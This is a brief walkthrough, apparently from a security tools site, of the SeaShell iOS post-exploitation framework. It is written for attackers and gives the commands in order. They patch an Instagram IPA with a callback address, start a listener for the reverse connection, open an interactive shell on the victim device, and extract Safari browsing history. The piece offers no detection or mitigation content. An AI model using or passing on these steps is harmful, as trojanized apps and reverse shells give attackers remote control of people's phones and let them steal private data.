SeaShell Framework - iOS Post-Exploitation Tool

Overview

SeaShell is an ios post-exploitation framework that enables attackers to remotely access, control, and extract sensitive information from compromised devices.

Core Functionality

Attackers can use this exploitation framework to exploit the CoreTrust vulnerability, which allows bypassing security checks of CoreTrust for unauthorized software execution.

Exploitation Method

The SeaShell Framework allows attackers to install malicious software on victim devices by generating IPA files, initiating a TCP listener, and exploiting CoreTrust bugs using TrollStore.

As a result, it helps them gain an interactive session with the target device using a Pwny payload with dynamic extension and TLS encryption.

Exploitation Steps

Step 1: Framework Launch

Run the following command to launch the SeaShell Framework:

seashell

Step 2: IPA File Patching

Run the following command to patch an IPA file and provide the IP address and port number to establish a connection:

ipa patch Instagram.ipa

Step 3: Listener Setup

Now, run the following command to start a listener on the host and port added to the patched IPA:

listener on <IP address> <Port no>

You will receive a connection after the installed application opens.

Step 4: Interactive Shell Access

Run the following commands to interact with the compromised device using the interactive shell by implementing Pwny:

devices -i <id>

You can also run the "help" command to generate a list of available commands.

Step 5: Data Extraction

Once the remote interaction is successfully established, execute the following command to access the web browsing history:

safari_history

Note: The command retrieves and parses the database, which is located at "/var/mobile/Library/Safari/"